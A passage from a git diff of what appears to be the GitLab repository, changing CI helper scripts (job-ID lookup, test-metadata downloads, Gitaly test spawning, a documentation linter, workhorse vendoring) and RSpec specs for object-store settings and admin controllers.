-# For EE branch builds, add a truncated SHA destination for later use by Omnibus
-# auto-deploy builds
-if [[ "${ASSETS_IMAGE_NAME}" == "gitlab-assets-ee" ]] && [ -n "$CI_COMMIT_BRANCH" ]
-then
- COMMIT_SHORT_SHA_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_SHA:0:11}
- DESTINATIONS="$DESTINATIONS --destination=$COMMIT_SHORT_SHA_DESTINATION"
-fi
-
# Also tag the image with GitLab version, if running on a tag pipeline, so
# other projects can simply use that instead of computing the slug.
if [ -n "$CI_COMMIT_TAG" ]; then
- COMMIT_REF_NAME_DESTINATION=${ASSETS_IMAGE_PATH}:${CI_COMMIT_REF_NAME}
DESTINATIONS="$DESTINATIONS --destination=$COMMIT_REF_NAME_DESTINATION"
fi
diff --git a/scripts/frontend/test.js b/scripts/frontend/test.js
deleted file mode 100755
index 71a8bebf0f2..00000000000
--- a/scripts/frontend/test.js
+++ /dev/null
@@ -1,123 +0,0 @@
-#!/usr/bin/env node
-
-const { spawn } = require('child_process');
-const { EOL } = require('os');
-const program = require('commander');
-const chalk = require('chalk');
-
-const SUCCESS_CODE = 0;
-const JEST_ROUTE = 'spec/frontend';
-const KARMA_ROUTE = 'spec/javascripts';
-const COMMON_ARGS = ['--colors'];
-const jestArgs = [...COMMON_ARGS, '--passWithNoTests'];
-const karmaArgs = [...COMMON_ARGS, '--no-fail-on-empty-test-suite'];
-
-program
- .usage('[options] <file ...>')
- .option('-p, --parallel', 'Run tests suites in parallel')
- .option(
- '-w, --watch',
- 'Rerun tests when files change (tests will be run in parallel if this enabled)',
- )
- .parse(process.argv);
-
-const shouldParallelize = program.parallel || program.watch;
-
-const isSuccess = code => code === SUCCESS_CODE;
-
-const combineExitCodes = codes => {
- const firstFail = codes.find(x => !isSuccess(x));
-
- return firstFail === undefined ? SUCCESS_CODE : firstFail;
-};
-
-const skipIfFail = fn => code => (isSuccess(code) ? fn() : code);
-
-const endWithEOL = str => (str[str.length - 1] === '\n' ? str : `${str}${EOL}`);
-
-const runTests = paths => {
- if (shouldParallelize) {
- return Promise.all([runJest(paths), runKarma(paths)]).then(combineExitCodes);
- } else {
- return runJest(paths).then(skipIfFail(() => runKarma(paths)));
- }
-};
-
-const spawnYarnScript = (cmd, args) => {
- return new Promise((resolve, reject) => {
- const proc = spawn('yarn', ['run', cmd, ...args]);
- const output = data => {
- const text = data
- .toString()
- .split(/\r?\n/g)
- .map((line, idx, { length }) =>
- idx === length - 1 && !line ? line : `${chalk.gray(cmd)}: ${line}`,
- )
- .join(EOL);
-
- return endWithEOL(text);
- };
-
- proc.stdout.on('data', data => {
- process.stdout.write(output(data));
- });
-
- proc.stderr.on('data', data => {
- process.stderr.write(output(data));
- });
-
- proc.on('close', code => {
- process.stdout.write(output(`exited with code ${code}`));
-
- // We resolve even on a failure code because a `reject` would cause
- // Promise.all to reject immediately (without waiting for other promises)
- // to finish.
- resolve(code);
- });
- });
-};
-
-const runJest = args => {
- return spawnYarnScript('jest', [...jestArgs, ...toJestArgs(args)]);
-};
-
-const runKarma = args => {
- return spawnYarnScript('karma', [...karmaArgs, ...toKarmaArgs(args)]);
-};
-
-const replacePath = to => path =>
- path
- .replace(JEST_ROUTE, to)
- .replace(KARMA_ROUTE, to)
- .replace('app/assets/javascripts', to);
-
-const replacePathForJest = replacePath(JEST_ROUTE);
-
-const replacePathForKarma = replacePath(KARMA_ROUTE);
-
-const toJestArgs = paths => paths.map(replacePathForJest);
-
-const toKarmaArgs = paths =>
- paths.reduce((acc, path) => acc.concat('-f', replacePathForKarma(path)), []);
-
-const main = paths => {
- if (program.watch) {
- jestArgs.push('--watch');
- karmaArgs.push('--single-run', 'false', '--auto-watch');
- }
- runTests(paths).then(code => {
- console.log('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');
- if (isSuccess(code)) {
- console.log(chalk.bgGreen(chalk.black('All tests passed :)')));
- } else {
- console.log(chalk.bgRed(chalk.white(`Some tests failed :(`)));
- }
- console.log('~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~');
-
- if (!isSuccess(code)) {
- process.exit(code);
- }
- });
-};
-
-main(program.args);
diff --git a/scripts/get-job-id b/scripts/get-job-id
deleted file mode 100755
index a5d34dc545b..00000000000
--- a/scripts/get-job-id
+++ /dev/null
@@ -1,43 +0,0 @@
-#!/usr/bin/env ruby
-# frozen_string_literal: true
-
-require 'gitlab'
-require 'optparse'
-
-#
-# Configure credentials to be used with gitlab gem
-#
-Gitlab.configure do |config|
- config.endpoint = 'https://gitlab.com/api/v4'
- config.private_token = ENV['GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN']
-end
-
-options = {}
-OptionParser.new do |opts|
- opts.on("-s", "--scope=SCOPE", "Find job with matching scope") do |scope|
- options[:scope] = scope
- end
-end.parse!
-
-class PipelineJobFinder
- def initialize(project_id, pipeline_id, job_name, options)
- @project_id = project_id
- @pipeline_id = pipeline_id
- @job_name = job_name
- @options = options
- end
-
- def execute
- Gitlab.pipeline_jobs(@project_id, @pipeline_id, @options).auto_paginate do |job|
- break job if job.name == @job_name
- end
- end
-end
-
-project_id, pipeline_id, job_name = ARGV
-
-job = PipelineJobFinder.new(project_id, pipeline_id, job_name, options).execute
-
-return if job.nil?
-
-puts job.id
diff --git a/scripts/gitaly-test-build b/scripts/gitaly-test-build
index 5254d957afd..00927646046 100755
--- a/scripts/gitaly-test-build
+++ b/scripts/gitaly-test-build
@@ -19,8 +19,10 @@ class GitalyTestBuild
# Starting gitaly further validates its configuration
gitaly_pid = start_gitaly
+ gitaly2_pid = start_gitaly2
praefect_pid = start_praefect
Process.kill('TERM', gitaly_pid)
+ Process.kill('TERM', gitaly2_pid)
Process.kill('TERM', praefect_pid)
# Make the 'gitaly' executable look newer than 'GITALY_SERVER_VERSION'.
diff --git a/scripts/gitaly-test-spawn b/scripts/gitaly-test-spawn
index 8e16b2bb656..c2ff9cd08aa 100755
--- a/scripts/gitaly-test-spawn
+++ b/scripts/gitaly-test-spawn
@@ -15,6 +15,7 @@ class GitalyTestSpawn
# In local development this pid file is used by rspec.
IO.write(File.expand_path('../tmp/tests/gitaly.pid', __dir__), start_gitaly)
+ IO.write(File.expand_path('../tmp/tests/gitaly2.pid', __dir__), start_gitaly2)
IO.write(File.expand_path('../tmp/tests/praefect.pid', __dir__), start_praefect)
end
end
diff --git a/scripts/gitaly_test.rb b/scripts/gitaly_test.rb
index 54bf07b3773..559ad8f4345 100644
--- a/scripts/gitaly_test.rb
+++ b/scripts/gitaly_test.rb
@@ -62,21 +62,36 @@ module GitalyTest
case service
when :gitaly
File.join(tmp_tests_gitaly_dir, 'config.toml')
+ when :gitaly2
+ File.join(tmp_tests_gitaly_dir, 'gitaly2.config.toml')
when :praefect
File.join(tmp_tests_gitaly_dir, 'praefect.config.toml')
end
end
+ def service_binary(service)
+ case service
+ when :gitaly, :gitaly2
+ 'gitaly'
+ when :praefect
+ 'praefect'
+ end
+ end
+
def start_gitaly
start(:gitaly)
end
+ def start_gitaly2
+ start(:gitaly2)
+ end
+
def start_praefect
start(:praefect)
end
def start(service)
- args = ["#{tmp_tests_gitaly_dir}/#{service}"]
+ args = ["#{tmp_tests_gitaly_dir}/#{service_binary(service)}"]
args.push("-config") if service == :praefect
args.push(config_path(service))
pid = spawn(env, *args, [:out, :err] => "log/#{service}-test.log")
diff --git a/scripts/lint-doc.sh b/scripts/lint-doc.sh
index 9ae6ce400da..23e7cb6c455 100755
--- a/scripts/lint-doc.sh
+++ b/scripts/lint-doc.sh
@@ -18,6 +18,21 @@ then
((ERRORCODE++))
fi
+# Test for non-standard spaces (NBSP, NNBSP) in documentation.
+echo '=> Checking for non-standard spaces...'
+echo
+grep --extended-regexp --binary-file=without-match --recursive '[  ]' doc/ >/dev/null 2>&1
+if [ $? -eq 0 ]
+then
+ echo '✖ ERROR: Non-standard spaces (NBSP, NNBSP) should not be used in documentation.
+ https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#spaces-between-words
+ Replace with standard spaces:' >&2
+ # Find the spaces, then add color codes with sed to highlight each NBSP or NNBSP in the output.
+ grep --extended-regexp --binary-file=without-match --recursive --color=auto '[  ]' doc \
+ | sed -e ''/ /s//`printf "\033[0;101m \033[0m"`/'' -e ''/ /s//`printf "\033[0;101m \033[0m"`/''
+ ((ERRORCODE++))
+fi
+
# Ensure that the CHANGELOG.md does not contain duplicate versions
DUPLICATE_CHANGELOG_VERSIONS=$(grep --extended-regexp '^## .+' CHANGELOG.md | sed -E 's| \(.+\)||' | sort -r | uniq -d)
echo '=> Checking for CHANGELOG.md duplicate entries...'
@@ -65,10 +80,16 @@ then
echo "Merge request pipeline (detached) detected. Testing all files."
else
MERGE_BASE=$(git merge-base ${CI_MERGE_REQUEST_TARGET_BRANCH_SHA} ${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA})
- MD_DOC_PATH=$(git diff --name-only "${MERGE_BASE}..${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA}" 'doc/*.md')
- if [ -n "${MD_DOC_PATH}" ]
+ if git diff --name-only "${MERGE_BASE}..${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA}" | grep -E "\.vale|\.markdownlint|lint-doc\.sh"
then
- echo -e "Merged results pipeline detected. Testing only the following files:\n${MD_DOC_PATH}"
+ MD_DOC_PATH=${MD_DOC_PATH:-doc}
+ echo "Vale, Markdownlint, or lint-doc.sh configuration changed. Testing all files."
+ else
+ MD_DOC_PATH=$(git diff --name-only "${MERGE_BASE}..${CI_MERGE_REQUEST_SOURCE_BRANCH_SHA}" 'doc/*.md')
+ if [ -n "${MD_DOC_PATH}" ]
+ then
+ echo -e "Merged results pipeline detected. Testing only the following files:\n${MD_DOC_PATH}"
+ fi
fi
fi
diff --git a/scripts/regenerate-schema b/scripts/regenerate-schema
index e2d46d14218..65c73a8116a 100755
--- a/scripts/regenerate-schema
+++ b/scripts/regenerate-schema
@@ -33,6 +33,7 @@ class SchemaRegenerator
checkout_clean_schema
hide_migrations
remove_schema_migration_files
+ stop_spring
reset_db
unhide_migrations
migrate
@@ -149,6 +150,12 @@ class SchemaRegenerator
end
##
+ # Stop spring before modifying the database
+ def stop_spring
+ run %q[bin/spring stop]
+ end
+
+ ##
# Run rake task to reset the database.
def reset_db
run %q[bin/rails db:reset RAILS_ENV=test]
diff --git a/scripts/rspec_helpers.sh b/scripts/rspec_helpers.sh
index 5f003d032b7..5b724c9251b 100644
--- a/scripts/rspec_helpers.sh
+++ b/scripts/rspec_helpers.sh
@@ -3,12 +3,18 @@
function retrieve_tests_metadata() {
mkdir -p knapsack/ rspec_flaky/ rspec_profiling/
+ local project_path="gitlab-org/gitlab"
+ local test_metadata_job_id
+
+ # Ruby
+ test_metadata_job_id=$(scripts/api/get_job_id --project "${project_path}" -q "status=success" -q "ref=master" -q "username=gitlab-bot" -Q "scope=success" --job-name "update-tests-metadata")
+
if [[ ! -f "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" ]]; then
- wget -O "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" "http://${TESTS_METADATA_S3_BUCKET}.s3.amazonaws.com/${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
+ scripts/api/download_job_artifact --project "${project_path}" --job-id "${test_metadata_job_id}" --artifact-path "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
fi
if [[ ! -f "${FLAKY_RSPEC_SUITE_REPORT_PATH}" ]]; then
- wget -O "${FLAKY_RSPEC_SUITE_REPORT_PATH}" "http://${TESTS_METADATA_S3_BUCKET}.s3.amazonaws.com/${FLAKY_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
+ scripts/api/download_job_artifact --project "${project_path}" --job-id "${test_metadata_job_id}" --artifact-path "${FLAKY_RSPEC_SUITE_REPORT_PATH}" || echo "{}" > "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
fi
}
@@ -16,29 +22,11 @@ function update_tests_metadata() {
echo "{}" > "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
scripts/merge-reports "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}" knapsack/rspec*.json
- if [[ -n "${TESTS_METADATA_S3_BUCKET}" ]]; then
- if [[ "$CI_PIPELINE_SOURCE" == "schedule" ]]; then
- scripts/sync-reports put "${TESTS_METADATA_S3_BUCKET}" "${KNAPSACK_RSPEC_SUITE_REPORT_PATH}"
- else
- echo "Not uplaoding report to S3 as the pipeline is not a scheduled one."
- fi
- fi
-
rm -f knapsack/rspec*.json
- scripts/merge-reports "${FLAKY_RSPEC_SUITE_REPORT_PATH}" rspec_flaky/all_*.json
-
export FLAKY_RSPEC_GENERATE_REPORT="true"
+ scripts/merge-reports "${FLAKY_RSPEC_SUITE_REPORT_PATH}" rspec_flaky/all_*.json
scripts/flaky_examples/prune-old-flaky-examples "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
-
- if [[ -n ${TESTS_METADATA_S3_BUCKET} ]]; then
- if [[ "$CI_PIPELINE_SOURCE" == "schedule" ]]; then
- scripts/sync-reports put "${TESTS_METADATA_S3_BUCKET}" "${FLAKY_RSPEC_SUITE_REPORT_PATH}"
- else
- echo "Not uploading report to S3 as the pipeline is not a scheduled one."
- fi
- fi
-
rm -f rspec_flaky/all_*.json rspec_flaky/new_*.json
if [[ "$CI_PIPELINE_SOURCE" == "schedule" ]]; then
@@ -51,8 +39,13 @@ function update_tests_metadata() {
function retrieve_tests_mapping() {
mkdir -p crystalball/
+ local project_path="gitlab-org/gitlab"
+ local test_metadata_with_mapping_job_id
+
+ test_metadata_with_mapping_job_id=$(scripts/api/get_job_id --project "${project_path}" -q "status=success" -q "ref=master" -q "username=gitlab-bot" -Q "scope=success" --job-name "update-tests-metadata" --artifact-path "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz")
+
if [[ ! -f "${RSPEC_PACKED_TESTS_MAPPING_PATH}" ]]; then
- (wget -O "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz" "http://${TESTS_METADATA_S3_BUCKET}.s3.amazonaws.com/${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz" && gzip -d "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz") || echo "{}" > "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
+ (scripts/api/download_job_artifact --project "${project_path}" --job-id "${test_metadata_with_mapping_job_id}" --artifact-path "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz" && gzip -d "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz") || echo "{}" > "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
fi
scripts/unpack-test-mapping "${RSPEC_PACKED_TESTS_MAPPING_PATH}" "${RSPEC_TESTS_MAPPING_PATH}"
@@ -65,24 +58,13 @@ function update_tests_mapping() {
fi
scripts/generate-test-mapping "${RSPEC_TESTS_MAPPING_PATH}" crystalball/rspec*.yml
-
scripts/pack-test-mapping "${RSPEC_TESTS_MAPPING_PATH}" "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
-
gzip "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
-
- if [[ -n "${TESTS_METADATA_S3_BUCKET}" ]]; then
- if [[ "$CI_PIPELINE_SOURCE" == "schedule" ]]; then
- scripts/sync-reports put "${TESTS_METADATA_S3_BUCKET}" "${RSPEC_PACKED_TESTS_MAPPING_PATH}.gz"
- else
- echo "Not uploading report to S3 as the pipeline is not a scheduled one."
- fi
- fi
-
- rm -f crystalball/rspec*.yml
+ rm -f crystalball/rspec*.yml "${RSPEC_PACKED_TESTS_MAPPING_PATH}"
}
function crystalball_rspec_data_exists() {
- compgen -G "crystalball/rspec*.yml" > /dev/null;
+ compgen -G "crystalball/rspec*.yml" >/dev/null
}
function rspec_simple_job() {
@@ -143,7 +125,13 @@ function rspec_paralellized_job() {
export MEMORY_TEST_PATH="tmp/memory_test/${report_name}_memory.csv"
- knapsack rspec "-Ispec -rspec_helper --color --format documentation --format RspecJunitFormatter --out junit_rspec.xml ${rspec_opts}"
+ local rspec_args="-Ispec -rspec_helper --color --format documentation --format RspecJunitFormatter --out junit_rspec.xml ${rspec_opts}"
+
+ if [[ -n $RSPEC_TESTS_MAPPING_ENABLED ]]; then
+ tooling/bin/parallel_rspec --rspec_args "${rspec_args}" --filter "tmp/matching_tests.txt"
+ else
+ tooling/bin/parallel_rspec --rspec_args "${rspec_args}"
+ fi
date
}
diff --git a/scripts/update-workhorse b/scripts/update-workhorse
new file mode 100755
index 00000000000..2c43b249fe4
--- /dev/null
+++ b/scripts/update-workhorse
@@ -0,0 +1,59 @@
+#!/bin/sh
+set -e
+WORKHORSE_DIR=workhorse/
+WORKHORSE_REF="$(cat GITLAB_WORKHORSE_VERSION)"
+WORKHORSE_URL=${GITLAB_WORKHORSE_URL:-https://gitlab.com/gitlab-org/gitlab-workhorse.git}
+
+if [ $# -gt 1 ] || ([ $# = 1 ] && [ x$1 != xcheck ]); then
+ echo "Usage: update-workhorse [check]"
+ exit 1
+fi
+
+if echo "$WORKHORSE_REF" | grep -q '^[0-9]\+\.[0-9]\+\.[0-9]\+' ; then
+ # Assume this is a tagged release
+ WORKHORSE_REF="v${WORKHORSE_REF}"
+fi
+
+clean="$(git status --porcelain)"
+if [ -n "$clean" ] ; then
+ echo 'error: working directory is not clean:'
+ echo "$clean"
+ exit 1
+fi
+
+git fetch "$WORKHORSE_URL" "$WORKHORSE_REF"
+git rm -rf --quiet -- "$WORKHORSE_DIR"
+git read-tree --prefix="$WORKHORSE_DIR" -u FETCH_HEAD
+
+status="$(git status --porcelain)"
+
+if [ x$1 = xcheck ]; then
+ if [ -n "$status" ]; then
+ cat <<MSG
+error: $WORKHORSE_DIR does not match $WORKHORSE_REF
+
+During the transition period of https://gitlab.com/groups/gitlab-org/-/epics/4826,
+the workhorse/ directory in this repository is read-only. To make changes:
+
+1. Submit a MR to https://gitlab.com/gitlab-org/gitlab-workhorse
+2. Once your MR is merged, have a new gitlab-workhorse tag made
+ by a maintainer
+3. Update the GITLAB_WORKHORSE_VERSION file in this repository
+4. Run scripts/update-workhorse to update the workhorse/ directory
+
+MSG
+ exit 1
+ fi
+ exit 0
+fi
+
+if [ -z "$status" ]; then
+ echo "warn: $WORKHORSE_DIR is already up to date, exiting without commit"
+ exit 0
+fi
+
+tree=$(git write-tree)
+msg="Update vendored workhorse to $WORKHORSE_REF"
+commit=$(git commit-tree -p HEAD -p FETCH_HEAD^{commit} -m "$msg" "$tree")
+git update-ref HEAD "$commit"
+git log -1
diff --git a/scripts/used-feature-flags b/scripts/used-feature-flags
index 07b8d2063ef..7ef3dbafd36 100755
--- a/scripts/used-feature-flags
+++ b/scripts/used-feature-flags
@@ -1,5 +1,7 @@
#!/usr/bin/env ruby
+require 'set'
+
class String
def red
"\e[31m#{self}\e[0m"
@@ -37,6 +39,9 @@ flags_paths.each do |flags_path|
Dir.glob(flags_path).each do |path|
feature_flag_name = File.basename(path, '.yml')
+ # TODO: we need a better way of tracking use of Gitaly FF across Gitaly and GitLab
+ next if feature_flag_name.start_with?('gitaly_')
+
all_flags[feature_flag_name] = File.exist?(File.join('tmp', 'feature_flags', feature_flag_name + '.used'))
end
end
diff --git a/scripts/utils.sh b/scripts/utils.sh
index 3829bcdf24e..6747efa73d7 100644
--- a/scripts/utils.sh
+++ b/scripts/utils.sh
@@ -36,7 +36,7 @@ function install_gitlab_gem() {
}
function install_tff_gem() {
- gem install test_file_finder --version 0.1.0
+ gem install test_file_finder --version 0.1.1
}
function run_timed_command() {
@@ -87,65 +87,14 @@ function echosuccess() {
fi
}
-function get_job_id() {
- local job_name="${1}"
- local query_string="${2:+&${2}}"
- local api_token="${API_TOKEN-${GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN}}"
- if [ -z "${api_token}" ]; then
- echoerr "Please provide an API token with \$API_TOKEN or \$GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN."
- return
- fi
-
- local max_page=3
- local page=1
-
- while true; do
- local url="https://gitlab.com/api/v4/projects/${CI_PROJECT_ID}/pipelines/${CI_PIPELINE_ID}/jobs?per_page=100&page=${page}${query_string}"
- echoinfo "GET ${url}"
-
- local job_id
- job_id=$(curl --silent --show-error --header "PRIVATE-TOKEN: ${api_token}" "${url}" | jq "map(select(.name == \"${job_name}\")) | map(.id) | last")
- [[ "${job_id}" == "null" && "${page}" -lt "$max_page" ]] || break
-
- let "page++"
- done
-
- if [[ "${job_id}" == "null" ]]; then # jq prints "null" for non-existent attribute
- echoerr "The '${job_name}' job ID couldn't be retrieved!"
- else
- echoinfo "The '${job_name}' job ID is ${job_id}"
- echo "${job_id}"
- fi
-}
-
-function play_job() {
- local job_name="${1}"
- local job_id
- job_id=$(get_job_id "${job_name}" "scope=manual");
- if [ -z "${job_id}" ]; then return; fi
-
- local api_token="${API_TOKEN-${GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN}}"
- if [ -z "${api_token}" ]; then
- echoerr "Please provide an API token with \$API_TOKEN or \$GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN."
- return
- fi
-
- local url="https://gitlab.com/api/v4/projects/${CI_PROJECT_ID}/jobs/${job_id}/play"
- echoinfo "POST ${url}"
-
- local job_url
- job_url=$(curl --silent --show-error --request POST --header "PRIVATE-TOKEN: ${api_token}" "${url}" | jq ".web_url")
- echoinfo "Manual job '${job_name}' started at: ${job_url}"
-}
-
function fail_pipeline_early() {
local dont_interrupt_me_job_id
- dont_interrupt_me_job_id=$(get_job_id 'dont-interrupt-me' 'scope=success')
+ dont_interrupt_me_job_id=$(scripts/api/get_job_id --job-query "scope=success" --job-name "dont-interrupt-me")
if [[ -n "${dont_interrupt_me_job_id}" ]]; then
echoinfo "This pipeline cannot be interrupted due to \`dont-interrupt-me\` job ${dont_interrupt_me_job_id}"
else
echoinfo "Failing pipeline early for fast feedback due to test failures in rspec fail-fast."
- curl --request POST --header "PRIVATE-TOKEN: ${GITLAB_BOT_MULTI_PROJECT_PIPELINE_POLLING_TOKEN}" "https://${CI_SERVER_HOST}/api/v4/projects/${CI_PROJECT_ID}/pipelines/${CI_PIPELINE_ID}/cancel"
+ scripts/api/cancel_pipeline
fi
}
diff --git a/scripts/verify-tff-mapping b/scripts/verify-tff-mapping
index 1f73753be82..1c66e19df50 100755
--- a/scripts/verify-tff-mapping
+++ b/scripts/verify-tff-mapping
@@ -28,9 +28,9 @@ tests = [
},
{
- explanation: 'Some EE extensions also map to its EE class spec, but this is not recommended: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features',
- source: 'ee/app/models/ee/user.rb',
- expected: ['ee/spec/models/user_spec.rb', 'spec/models/user_spec.rb']
+ explanation: 'Some EE extensions have specs placement that do not follow the recommendation: https://docs.gitlab.com/ee/development/ee_features.html#testing-ee-features-based-on-ce-features. `tff` should still find these misplaced specs.',
+ source: 'ee/app/models/ee/project.rb',
+ expected: ['ee/spec/models/project_spec.rb', 'spec/models/project_spec.rb']
},
{
@@ -53,8 +53,8 @@ tests = [
{
explanation: 'EE spec code should map to itself',
- source: 'ee/spec/models/user_spec.rb',
- expected: ['ee/spec/models/user_spec.rb']
+ source: 'ee/spec/models/ee/user_spec.rb',
+ expected: ['ee/spec/models/ee/user_spec.rb', 'spec/models/user_spec.rb']
},
{
diff --git a/spec/config/object_store_settings_spec.rb b/spec/config/object_store_settings_spec.rb
index 1777213f481..9e7dfa043c3 100644
--- a/spec/config/object_store_settings_spec.rb
+++ b/spec/config/object_store_settings_spec.rb
@@ -59,6 +59,7 @@ RSpec.describe ObjectStoreSettings do
expect(settings.artifacts['object_store']['background_upload']).to be false
expect(settings.artifacts['object_store']['proxy_download']).to be false
expect(settings.artifacts['object_store']['remote_directory']).to eq('artifacts')
+ expect(settings.artifacts['object_store']['consolidated_settings']).to be true
expect(settings.lfs['enabled']).to be true
expect(settings.lfs['object_store']['enabled']).to be true
@@ -67,15 +68,18 @@ RSpec.describe ObjectStoreSettings do
expect(settings.lfs['object_store']['background_upload']).to be false
expect(settings.lfs['object_store']['proxy_download']).to be true
expect(settings.lfs['object_store']['remote_directory']).to eq('lfs-objects')
+ expect(settings.lfs['object_store']['consolidated_settings']).to be true
expect(settings.pages['enabled']).to be true
expect(settings.pages['object_store']['enabled']).to be true
expect(settings.pages['object_store']['connection']).to eq(connection)
expect(settings.pages['object_store']['remote_directory']).to eq('pages')
+ expect(settings.pages['object_store']['consolidated_settings']).to be true
expect(settings.external_diffs['enabled']).to be false
expect(settings.external_diffs['object_store']['enabled']).to be false
expect(settings.external_diffs['object_store']['remote_directory']).to eq('external_diffs')
+ expect(settings.external_diffs['object_store']['consolidated_settings']).to be true
end
it 'raises an error when a bucket is missing' do
@@ -91,6 +95,31 @@ RSpec.describe ObjectStoreSettings do
expect(settings.pages['object_store']).to eq(nil)
end
+ it 'allows pages to define its own connection' do
+ pages_connection = { 'provider' => 'Google', 'google_application_default' => true }
+ config['pages'] = {
+ 'enabled' => true,
+ 'object_store' => {
+ 'enabled' => true,
+ 'connection' => pages_connection
+ }
+ }
+
+ expect { subject }.not_to raise_error
+
+ described_class::WORKHORSE_ACCELERATED_TYPES.each do |object_type|
+ section = settings.try(object_type)
+
+ next unless section
+
+ expect(section['object_store']['connection']).to eq(connection)
+ expect(section['object_store']['consolidated_settings']).to be true
+ end
+
+ expect(settings.pages['object_store']['connection']).to eq(pages_connection)
+ expect(settings.pages['object_store']['consolidated_settings']).to be_falsey
+ end
+
context 'with legacy config' do
let(:legacy_settings) do
{
diff --git a/spec/config/settings_spec.rb b/spec/config/settings_spec.rb
index ed873478fc9..6525ae653c9 100644
--- a/spec/config/settings_spec.rb
+++ b/spec/config/settings_spec.rb
@@ -134,4 +134,20 @@ RSpec.describe Settings do
end
end
end
+
+ describe '.encrypted' do
+ before do
+ allow(Gitlab::Application.secrets).to receive(:encryped_settings_key_base).and_return(SecureRandom.hex(64))
+ end
+
+ it 'defaults to using the encrypted_settings_key_base for the key' do
+ expect(Gitlab::EncryptedConfiguration).to receive(:new).with(hash_including(base_key: Gitlab::Application.secrets.encrypted_settings_key_base))
+ Settings.encrypted('tmp/tests/test.enc')
+ end
+
+ it 'returns empty encrypted config when a key has not been set' do
+ allow(Gitlab::Application.secrets).to receive(:encrypted_settings_key_base).and_return(nil)
+ expect(Settings.encrypted('tmp/tests/test.enc').read).to be_empty
+ end
+ end
end
diff --git a/spec/controllers/admin/application_settings_controller_spec.rb b/spec/controllers/admin/application_settings_controller_spec.rb
index f71f859a704..f0b224484c6 100644
--- a/spec/controllers/admin/application_settings_controller_spec.rb
+++ b/spec/controllers/admin/application_settings_controller_spec.rb
@@ -157,6 +157,44 @@ RSpec.describe Admin::ApplicationSettingsController do
expect(ApplicationSetting.current.default_branch_name).to eq("example_branch_name")
end
+ context "personal access token prefix settings" do
+ let(:application_settings) { ApplicationSetting.current }
+
+ shared_examples "accepts prefix setting" do |prefix|
+ it "updates personal_access_token_prefix setting" do
+ put :update, params: { application_setting: { personal_access_token_prefix: prefix } }
+
+ expect(response).to redirect_to(general_admin_application_settings_path)
+ expect(application_settings.reload.personal_access_token_prefix).to eq(prefix)
+ end
+ end
+
+ shared_examples "rejects prefix setting" do |prefix|
+ it "does not update personal_access_token_prefix setting" do
+ put :update, params: { application_setting: { personal_access_token_prefix: prefix } }
+
+ expect(response).not_to redirect_to(general_admin_application_settings_path)
+ expect(application_settings.reload.personal_access_token_prefix).not_to eq(prefix)
+ end
+ end
+
+ context "with valid prefix" do
+ include_examples("accepts prefix setting", "a_prefix@")
+ end
+
+ context "with blank prefix" do
+ include_examples("accepts prefix setting", "")
+ end
+
+ context "with too long prefix" do
+ include_examples("rejects prefix setting", "a_prefix@" * 10)
+ end
+
+ context "with invalid characters prefix" do
+ include_examples("rejects prefix setting", "a_préfixñ:")
+ end
+ end
+
context 'external policy classification settings' do
let(:settings) do
{
diff --git a/spec/controllers/admin/clusters/applications_controller_spec.rb b/spec/controllers/admin/clusters/applications_controller_spec.rb
index 2a77693061c..d1ca64d6bd2 100644
--- a/spec/controllers/admin/clusters/applications_controller_spec.rb
+++ b/spec/controllers/admin/clusters/applications_controller_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
post :create, params: params
end
- let(:application) { 'helm' }
+ let(:application) { 'ingress' }
let(:params) { { application: application, id: cluster.id } }
describe 'functionality' do
@@ -37,7 +37,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
expect { subject }.to change { current_application.count }
expect(response).to have_gitlab_http_status(:no_content)
- expect(cluster.application_helm).to be_scheduled
+ expect(cluster.application_ingress).to be_scheduled
end
context 'when cluster do not exists' do
@@ -61,7 +61,7 @@ RSpec.describe Admin::Clusters::ApplicationsController do
context 'when application is already installing' do
before do
- create(:clusters_applications_helm, :installing, cluster: cluster)
+ create(:clusters_applications_ingress, :installing, cluster: cluster)
end
it 'returns 400' do
diff --git a/spec/controllers/admin/clusters_controller_spec.rb b/spec/controllers/admin/clusters_controller_spec.rb
index 69bdc79c5f5..85aa77d8473 100644
--- a/spec/controllers/admin/clusters_controller_spec.rb
+++ b/spec/controllers/admin/clusters_controller_spec.rb
@@ -341,7 +341,7 @@ RSpec.describe Admin::ClustersController do
expect { post_create_aws }.not_to change { Clusters::Cluster.count }
expect(response).to have_gitlab_http_status(:unprocessable_entity)
- expect(response.content_type).to eq('application/json')
+ expect(response.media_type).to eq('application/json')
